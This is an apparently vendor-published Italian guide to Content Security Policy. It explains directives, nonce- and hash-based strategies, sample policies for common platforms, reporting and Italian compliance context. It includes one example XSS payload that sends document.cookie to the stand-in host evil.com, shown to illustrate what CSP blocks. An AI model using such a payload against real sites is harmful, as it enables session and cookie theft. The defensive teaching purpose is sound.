Sécurité

Content Security Policy (CSP): Guida pratica

Implementare una Content Security Policy efficace. Direttive, esempi pratici e debug per proteggere il sito dagli attacchi XSS.

25 mars 20264 min de lectureWarDek Team

La Content Security Policy è lo strumento più efficace contro gli attacchi XSS (Cross-Site Scripting). Funziona come un firewall nel browser: definisce quali risorse possono essere caricate e da dove. Eppure, molti siti la implementano male o non la implementano affatto.

Come funziona la CSP

Quando il browser riceve l'header Content-Security-Policy, applica le regole definite a ogni risorsa della pagina. Se uno script non rispetta la policy, viene bloccato — anche se un attaccante è riuscito a iniettarlo nel vostro HTML.

Esempio di attacco XSS bloccato dalla CSP

Senza CSP, un attaccante inietta:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Con CSP script-src 'self', il browser blocca lo script perché non proviene dal vostro dominio.

Le direttive fondamentali

default-src

Fallback per tutte le direttive non specificate esplicitamente.

Content-Security-Policy: default-src 'self'

Questo da solo blocca tutto ciò che non proviene dal vostro dominio.

script-src

Controlla le sorgenti JavaScript — la direttiva più critica.

script-src 'self' https://cdn.trusted.com

| Valore | Significato | Rischio | |--------|-------------|---------| | 'self' | Solo dal vostro dominio | Basso | | 'unsafe-inline' | Script inline permessi | Alto — disabilita protezione XSS | | 'nonce-abc123' | Solo script con quel nonce | Basso | | 'strict-dynamic' | Script caricati da script fidati sono fidati | Medio | | https://cdn.example.com | Da quel CDN specifico | Medio |

style-src

Controlla le sorgenti CSS.

style-src 'self' 'unsafe-inline'

Nota: 'unsafe-inline' per gli stili è accettabile in molti casi (il rischio XSS via CSS injection è molto più basso che via JavaScript). Molti framework CSS lo richiedono.

img-src

Controlla le sorgenti delle immagini.

img-src 'self' data: https:

data: permette le immagini inline base64. https: permette qualsiasi sorgente HTTPS.

connect-src

Controlla le destinazioni di XHR, Fetch, WebSocket ed EventSource.

connect-src 'self' https://api.example.com wss://realtime.example.com

frame-ancestors

Sostituisce X-Frame-Options. Definisce chi può incorporare la vostra pagina.

frame-ancestors 'none'

form-action

Controlla le destinazioni dei form.

form-action 'self'

Impedisce a un form iniettato di inviare dati a un server esterno.

Strategie di implementazione

Strategia 1: Nonce-based (consigliata)

Ogni script legittimo riceve un nonce univoco generato lato server.

Content-Security-Policy: script-src 'nonce-R4nd0mV4lu3'
<!-- Permesso -->
<script nonce="R4nd0mV4lu3">
  console.log('Script legittimo')
</script>

<!-- Bloccato — nessun nonce -->
<script>
  alert('XSS bloccato!')
</script>

Il nonce deve essere diverso ad ogni richiesta — mai riutilizzare.

Strategia 2: Hash-based

Calcolate l'hash SHA-256 di ogni script inline e autorizzatelo nella CSP.

Content-Security-Policy: script-src 'sha256-abc123...'

Adatto per script inline statici che non cambiano.

Strategia 3: strict-dynamic

Fidatevi degli script caricati da script già fidati.

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'

Se uno script con nonce valido carica dinamicamente un altro script, anche il secondo è autorizzato. Ideale per i framework JavaScript moderni.

CSP per casi comuni

WordPress

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:

WordPress richiede purtroppo unsafe-inline per molti plugin. Migliorate progressivamente man mano che i plugin supportano i nonce.

Next.js / React SPA

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{NONCE}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com

E-commerce (con analytics e pagamenti)

Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com https://js.stripe.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-src https://js.stripe.com; connect-src 'self' https://api.stripe.com https://www.google-analytics.com

Debug della CSP

Report-Only Mode

Testate la policy senza bloccare nulla:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Il browser segnala le violazioni senza bloccarle — perfetto per il rodaggio.

Console del browser

Le violazioni CSP appaiono nella console con messaggi dettagliati:

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"

Endpoint di reporting

Configurate un endpoint per raccogliere i report delle violazioni:

Content-Security-Policy: ...; report-uri /api/csp-report
// /api/csp-report
export async function POST(req: Request) {
  const report = await req.json()
  logger.warn({ report }, 'CSP violation')
  return new Response(null, { status: 204 })
}

Errori comuni

CSP troppo permissivadefault-src * o script-src 'unsafe-inline' annullano la protezione.

CSP che rompe il sito — Implementate sempre in Report-Only prima di passare in enforcement.

Nonce statico — Il nonce deve cambiare ad ogni richiesta HTTP. Un nonce fisso è inutile.

Dimenticare i sottodomini — Se i vostri script sono su cdn.example.com, script-src 'self' non basta.

Mancanza di report-uri — Senza un endpoint di reporting, non saprete mai quali violazioni si verificano in produzione.

CSP e il contesto normativo italiano

L'Agenzia per la Cybersicurezza Nazionale (ACN) raccomanda l'adozione di header di sicurezza, inclusa la CSP, come parte delle misure minime di protezione per le infrastrutture digitali. Nel contesto della Direttiva NIS2, recepita in Italia con il D.Lgs. 138/2024, le organizzazioni che operano nei settori essenziali e importanti devono dimostrare di aver adottato misure tecniche adeguate — e una CSP ben configurata è una di queste.

Anche il Garante per la Protezione dei Dati Personali ha indicato che la sicurezza tecnica dei siti web è un elemento valutato in caso di violazione dei dati personali. Un sito senza CSP che subisce un attacco XSS con furto di dati potrebbe essere considerato non conforme al principio di sicurezza del GDPR (art. 32).

Conclusione

La CSP è il singolo header di sicurezza più potente a vostra disposizione. Implementatela progressivamente: partite da Report-Only, analizzate le violazioni, stringete la policy e passate in enforcement. Il vostro sito sarà significativamente più resistente agli attacchi XSS.


Scansiona il tuo sito web gratis con WarDek — OWASP, NIS2, GDPR, AI Act in un'unica scansione.

#csp#sicurezza#xss#header#web

Scannez votre site gratuitement

WarDek détecte les vulnérabilités mentionnées dans cet article en quelques secondes.

Retour à Sécurité